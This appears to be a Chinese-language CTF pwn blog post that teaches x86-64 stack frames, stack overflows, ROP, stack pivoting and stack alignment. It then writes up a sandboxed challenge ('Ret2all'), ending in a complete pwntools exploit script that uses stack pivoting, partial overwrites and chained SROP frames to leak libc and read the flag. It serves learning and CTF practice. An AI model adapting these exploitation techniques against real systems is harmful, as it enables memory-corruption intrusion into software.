函数调用栈
基础知识
寄存器： rip与eip：指令寄存器，cpu会把该寄存器地址内的数据当成指令执行（rip是64位系统的，eip是32位的）
rsp与esp：栈顶指针寄存器，表明了栈顶的位置
rbp与ebp：栈底指针寄存器，表明了栈底的位置
elf文件在外存和内存中的情况如图
最左边的RW与RX就是对应段的权限，R即read，读；W即write，写；x即execute，执行；可以看见外存中的文件最终执行时都会映射到内存中，内存中可以看见栈是由高地址往低地址增长的，堆是由低地址往高地址增长的。下面我们看当我们调用函数时发生了什么。比如如下程序，以64位为例
首先看进入函数第一条指令，不是int，而是{，这个会被编译器解释成push rbp，mov rsp rbp，也就是先把rbp入栈，再把rsp抬上来，然后再sub rsp (一个立即数) 把rsp抬上去，效果如图
然后是int，int就是声明变量，也就是把变量声明在rbp-多少，接下来继续执行就到了调用这个wow函数的时候了，调用函数时通过call指令，也就是先把当前指令的下一条指令的地址入栈（这个也就是我们常说的返回地址，我用back代替），接下来又进入wow函数的指令，这个函数第一条指令又是{，又把rbp入栈，因为rbp还是原来main函数的rbp，所以rbp1就是指向rbp的，rsp抬到rbp，如图所示
接下来又是sub rsp (一个立即数)，把rsp往上抬，然后是int c;声明一个变量c，效果如图
其实栈溢出的原理就是通过往c写值，覆盖栈上的这个返回地址，我们接下来看我们没改返回地址的时候函数返回是怎么返回的，首先有一个leave指令，这个指令就是mov rsp rbp
然后pop rbp把rsp位置的值弹出栈，赋给rbp，这时rbp已经回到main函数那里了
此时并不会直接把上面c变量的数值销毁，而是在将来声明变量时可以再往这声明，leave之后接下来是ret，ret就是pop rip，把wow返回地址赋给指令寄存器，接下来就再跳转过去执行指令。
这里就可以看出栈溢出的原理了，因为我们往栈上写值是由低地址往高地址写(图中由上往下)，所以只要我们有能写出c这个变量大小的条件，就可以把rbp及返回地址覆盖，接下来就会返回我们写成的返回地址，接下来就会去我们想让他返回的地方执行指令。
rop链原理
其实rop链就是开了栈不可执行(NX保护)时，因为不能直接写汇编指令所以通过一些代码片段(gadget)去控制各寄存器，并通过ret链接起来的指令，比如有一个地址中的地址是pop rdi;ret，那我们返回地址写成这个指令的地址后，他就会执行这个指令pop rdi，然后就是ret，因为rsp没变，所以他还是在栈上取值，所以接下来就由可以填我们想让他返回到的地址了。
栈迁移原理
栈迁移简单来说就是控制rsp，主要通过控制rbp然后进行两次leave去控制，第一次leave控制rbp，第二次leave通过控制的rbp进而控制寄存器,下面以迁移到bss段为例，第一次leave;ret:先mov rsp rbp
接下来是ret，继续执行返回地址内的指令,至此第一次leave;ret结束。因为返回地址还是leave;ret，所以有第二次leave;ret：
先mov rsp rbp
接下来是pop rbp然后就是ret，在bss里取值继续执行了。从图中也可以看到，rsp与rbp都被我们控制了，函数的栈已经变化了，所以叫栈迁移。具体的攻击可以看看我之前的文章。ret2csu与栈迁移的运用
栈返回
看到这不知道各位有没有想过，既然我们自己定义的函数(这里的例子就是wow)有返回地址，那c语言库里的read，printf，write....等函数有没有返回地址呢，好像没听过？首先，他们也是有返回地址的，因为调用他们也需要call这个指令，这个指令就会把下条指令的地址入栈，只是因为调用他们的时候栈已经类似这个样子了
所以哪怕这时候rsp的地方写了一条返回地址，我们在栈上的局部变量c里写值也是覆盖不到这个地址的，所以一般用不到这个手法。当然既然是一般就有例外，比如格式化字符串可以改printf函数的返回地址，read如果能控制写入的地址也可以改到(也得溢出一次才有可能)
栈对齐的原因及解决办法
栈对齐就是为什么有时候我们返回system的时候要加个ret，实际上就是栈没对齐通过加ret对齐。栈对齐就是rsp指针要16字节对齐，因为系统调用的时候要求要对齐，也就是rsp最后一个16进制位要是0。关于这个原因就是个人观点了，我个人理解的应该比较浅，我认为就是系统本身肯定会让rsp对齐以免我们自己调用system函数的时候崩溃，但我们往返回地址后面可能写很多指令的地址，所以就导致了不对齐。解决办法: 因为64位下栈的内存单元是以8为单位的，也就是我们rsp的地址的最后一个16进制只有8和0两种可能，并且正常是rsp的末位8，这样在接下来的system函数里，因为他会push rbp,这样rsp就16字节对齐了，所以我们不对齐就说明rsp的末位是0，这样system函数push rbp之后rsp就是8字节对齐(末位是8了)，这里我们要么选择加一条指令的地址(加ret)要么就把返回地址往后写，跳过push rbp这个指令。不过也有例外，如果我们栈迁移迁到了末尾不是0也不是8的地址，加再多ret也没用，这时候就要修改迁移的位置了。
Ret2all
好了你已经学会函数调用栈了，快来写一道栈溢出吧。
这题保护除了canary都开了，第一个init给了我们rbp与ret（这两个在bss段上），ret可以泄露pie基地址，所以pie保护就跟没开一样了，后面用mprotect把bss段设成只读了，并且把标准错误给关了，后面开了沙盒。
把execve，read，write分支都禁了并且下面write的文件描述符只能是2，read的文件描述符只能是0。后面有个栈溢出，溢出0x28字节
这个是影子，首先检测前0x60是不是"I love you I feel lonely"字符串，后面检测rbp与ret是不是之前发给我们的，相当于只能溢出0x18了，并且还只能溢出到返回地址+8的位置。不过这里因为他调用了三次函数，所以会leave三次，就有栈迁移的机会，并且在read到0x88的地方正好是rbp最后一次指向的地方，也就是两次leave就到了我们可以控制的地方，我们把写成我们返回地址+8的地址就可以实现一次read了
但这里要注意，read之后不会直接返回，而是会进影子，所以这里我们read写入的地方有讲究，要能覆盖过我们call read的返回地址，实现栈返回，即往rsp的上方写。
这里只要覆盖掉rsp就可以逃出影子了，因为目前泄露不出libc，所以只能用栈上现有的libc地址，我们可以找一下附近的，因为我们最多覆盖一字节，因为远程libc基址大部分是000结尾的，我们覆盖一字节是可以确保每次都能利用，如果覆盖两字节就需要爆破凭运气了。
这里有一个syscall，但这个syscall不是特别好，因为如果我们用这个syscall调用函数后面有一个jmp，他不是ret，就比较难预测了。所以我们第一次syscall调用srop来控制rbx，之后配合magicgadget改成应该好用的gadget。改好之后就可以调用dup2(1,2)把标准输出的内容复制到标准错误，接下来就可以write泄露libc，有libc之后就先close(0)，让open打开的文件描述符是0，这样read就可以往栈内写flag了，最后再write打印出来flag就结束了。而这就需要我们在syscall下面先布置好srop的SigreturnFrame结构，这里因为长度有限不能用pwntools的函数。只能手搓了。并且要注意一下往下写需要rsp在下面，因为我们read还有影子跟着，所以rsp在下面才能实现栈返回，所以第一次往下写是逃不了影子的，简单来说就是先往下，然后leave上来，再leave下去就好了(这里上下是相对syscall来说的，这是这题最关键的部分）。大概效果是这样
因为一开始的rbp是定死的，所以我们要注意在第一次的rbp上放好下面的地址就可以了，只要能调出一次srop就好办很多了，srop结构如下
这里就是从左往右读，第一个是syscall，第二个是uc_flags第三个是&uc之后依次读下去，大概离syscall0x70的位置是rdi，之后调用完一次srop要往syscall下面一个位置写一个leave，并且这个leave末尾要小于4，因为这样syscall ret之后就是leave，我们只要控制rbp就可以继续控制程序流。之后多布局一下就差不多写完了这题，多调试就好。这里因为我的本地环境跟远程不一样，所以应该是打不了远程的，不过可以参考一下，应该布局上是大差不差了，估计是有些细节不一样。exp如下- from pwn import *import syscontext.log_level='debug'context.arch='amd64'flag = 0elf=ELF('./pwn')libc = ELF('./libc.so.6')if flag: p = remote('challenge.imxbt.cn',30705)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def csu(): pay=p64(0)+p64(0)+p64(1) return paydef dbg(): gdb.attach(p) pause()ru(b'RBP:')rbp=int(p.recvline(),16)print(hex(rbp))ru(b'RET:')ret=int(p.recvline(),16)pie=ret-0x1871re=pie+0x3FB8prbp=pie+0x1253main=pie+0x1874magic=pie+0x1252target=pie+0x4050leave=pie+0x1852ret1=pie+0x18ACread=pie+0x182Fread1=pie+0x1840print(hex(pie))pay=b'I love you I feel lonely'*4+flat(rbp,ret)+flat(rbp+0x18,read)+p64(rbp-0x10)dbg()sd(pay)pause()pay=flat({0x30:p64(rbp+0xc0+0x30),#rbo:0x480x38:p64(read),0x40:p64(leave),0x48:p64(rbp+0xe0-0x10+0x30),0x50:p64(leave),0x58:p64(rbp+0xd0+0x30),0x60:p64(rbp-0x18),0x68:p64(leave),},filler=p64(ret1))#flat(prbp,rbp+0x72+8,read)sd(pay+b'\xec')pause()pay=b'I love you I feel lonely'*4+flat(rbp,ret)+flat(rbp+0x90+0x60,read)+p64(leave)sd(pay)pay=flat({0x0:p64(0),#fake0x8:p64(0),#rdi0x10:p64(rbp+0x30),#rsi0x18:p64(rbp+0x28+0x3d),#rbp0x20:p64(0x6ede9),#rbx0x28:p64(0x200),#rdx0x30:p64(0),#rax0x38:p64(0),#rcx0x40:p64(rbp+0x40),#rsp0x48:p64(read1),0x50:p64(0),#eflag0x58:p64(0x33),#cs0x60:p64(rbp+0x90+1+0x60+0x60),0x68:p64(read),0x70:p64(rbp+0x20),0x78:p64(leave),0x80:0,})pause()sd(pay)pay=b'b'*7+p64(prbp)pause()sd(pay)pay=p64(leave)+flat(ret1)*2+p64(magic)+flat(prbp,rbp+0x59+0x60,read,rbp+0x20,leave,rbp+0x70+0x60,read,read)pay=pay.ljust(0x60,b'\x00')+flat({0x0:p64(0),#fake0x8:p64(1),#rdi0x10:p64(2),#rsi0x18:p64(rbp+0x100),#rbp0x20:p64(0x6ede9),#rbx0x28:p64(0x200),#rdx0x30:p64(33),#rax0x38:p64(0),#rcx0x40:p64(rbp+0x28),#rsp0x48:p64(ret1),0x50:p64(0),#eflag0x58:p64(0x33),#cs0x60:p64(0),0x68:p64(0),0x70:p64(rbp+0x60+0x90),0x78:p64(read),0x80:0,})sd(pay)pay=b'b'*7+p64(prbp)sd(pay)pay=flat({0x0:p64(0),#fake0x8:p64(2),#rdi0x10:p64(re),#rsi0x18:p64(rbp+0x100-0x88),#rbp0x20:p64(0),#rbx0x28:p64(0x20),#rdx0x30:p64(1),#rax0x38:p64(0),#rcx0x40:p64(rbp+0x28),#rsp0x48:p64(ret1),#rip0x50:p64(0),#eflag0x58:p64(0x33),#cs0x60:p64(rbp+0x90+1+0x60+0x60),0x68:p64(read),0x70:p64(rbp+0x20),0x78:p64(leave),0x80:0,})sd(pay)pay=b'b'*7+p64(prbp)sd(pay)ru(b"Keep it and...I love you\n")libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['read']re=libcbase+libc.sym['read']rax=libcbase+0xdd237rdi=libcbase+0x10f75brsi=libcbase+0x110a4dend=libcbase+0x98fd5rbx=libcbase+0x586e4mdx3=libcbase+0xb0133print(hex(libcbase))pay=b'./flag\x00\x00'*2+flat(rdi,0,rsi,rbp+0xd8,rbx,0x1000,mdx3,0,0,0,re)pause()sd(pay)srop=SigreturnFrame()srop.rax=3srop.rdi=0srop.rsi=0srop.rsp=rbp+0x1e8srop.rip=endsrop1=SigreturnFrame()srop1.rax=2srop1.rdi=rbp+0x70srop1.rsi=0srop1.rsp=rbp+0x1e8+0x110srop1.rip=endsrop2=SigreturnFrame()srop2.rax=0srop2.rdi=0srop2.rsi=rbpsrop2.rdx=0x50srop2.rsp=rbp+0x1e8+0x110+0x110srop2.rip=endsrop3=SigreturnFrame()srop3.rax=1srop3.rdi=2srop3.rsi=rbpsrop3.rdx=0x50srop3.rip=endpay=flat(rax,0xf,end)+bytes(srop)+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)sd(pay)ti()
ret2all参考文章ret2all
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